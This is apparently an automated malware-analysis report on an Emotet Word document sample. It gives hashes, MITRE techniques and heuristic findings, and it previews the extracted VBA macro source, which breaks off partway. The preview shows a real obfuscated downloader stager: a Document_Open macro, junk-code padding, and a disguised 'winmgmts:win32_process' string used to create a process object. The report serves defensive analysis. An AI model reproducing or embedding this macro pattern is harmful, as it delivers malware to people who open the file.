Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 46a93eed05754760…

MALICIOUS

Office (OLE)

239.0 KB Created: 2020-08-20 16:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: debc20c70e501eca30f755436633e4f8 SHA-1: ebf1cd493fc076b4aaa94edcf4baabc2de693940 SHA-256: 46a93eed05754760f5ba802dafeda47962f308540ff4b640d3c11fb2939a080d
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. Critical heuristics indicate a hidden UserForm command stager, suggesting the VBA code is designed to execute a payload. ClamAV detection further confirms the Emotet family and identifies it as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9428538-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9428538-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11077 bytes
SHA-256: 79b58890a41cc3ba45c18c7d727058803e51f3be529dfbf4ea466ca1601246a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Zg0xhwp11nkvcfr6p8"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Vu6m1z5f5k4jwz.A5vhcpui3sip8n_pr
End Sub


Attribute VB_Name = "Vu6m1z5f5k4jwz"
Attribute VB_Base = "0{2921CD6C-BAFE-47FD-969B-529DE32CE653}{4EEE6A43-C968-4502-AB36-EA0B740AA997}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function A5vhcpui3sip8n_pr()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

D1s9g7h3_mf07hzs6 = Vu6m1z5f5k4jwz.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

G45jzyivn0z6z8 = ChrW(D1s9g7h3_mf07hzs6 + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Nq088tf7lymh6u7ap = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + G45jzyivn0z6z8 + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Vu6m1z5f5k4jwz.Oo3abcgjw1klbvb6 + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Bm66tkv4lan_2l9uh = Db5h27d093vs5(Nq088tf7lymh6u7ap)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set Qn0jrz5fjkoyfp24tn = CreateObject(Bm66tkv4lan_2l9uh)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

N01goz0a34zsf78qlv = Vu6m1z5f5k4jwz.Kwb4529f4n5.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
       
... (truncated)